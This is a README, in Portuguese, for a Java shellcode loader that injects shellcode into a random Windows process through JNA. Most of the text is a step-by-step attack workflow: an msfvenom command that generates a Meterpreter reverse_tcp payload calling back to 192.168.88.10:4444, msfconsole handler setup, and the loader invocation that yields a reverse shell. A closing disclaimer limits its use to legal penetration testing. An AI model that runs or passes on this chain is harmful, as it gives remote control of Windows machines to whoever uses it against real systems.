
Carregador de shellcode implementado em Java
Carregador de ShellCode baseado em Java, compatível com plataformas de 32 e 64 bits.
O princípio central é utilizar a Jna para chamar a API do Windows e realizar a injeção do shellcode.
Ambiente de execução: Jre >= 1.5
Nota: Este projeto já está incluído no módulo ShellCodeLoader de yzddmr6/As-Exploits.
maven package
Por padrão, será injetado aleatoriamente em um processo de 32 bits; utilize shellcode de 32 bits.
java -jar ShellcodeLoader.jar shellcode_hex
Injetar shellcode x64:
java -jar ShellcodeLoader.jar --x64 shellcode_hex
Gerar ShellCode em formato hex
┌──(root💀kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.10 LPORT=4444 -f hex
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of hex file: 708 bytes
fce88f0000006089e531d2648b5....
Em seguida, inicie a escuta
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.88.10
set LPORT 4444
exploit -j
java -jar ShellcodeLoader.jar fce88f0000006089e531d2648b5....
Você receberá o Meterpreter reverso

Este projeto destina-se apenas à realização de testes de penetração legais e ao estudo por entusiastas. Não o utilize para fins ilegais; caso contrário, assuma a responsabilidade correspondente.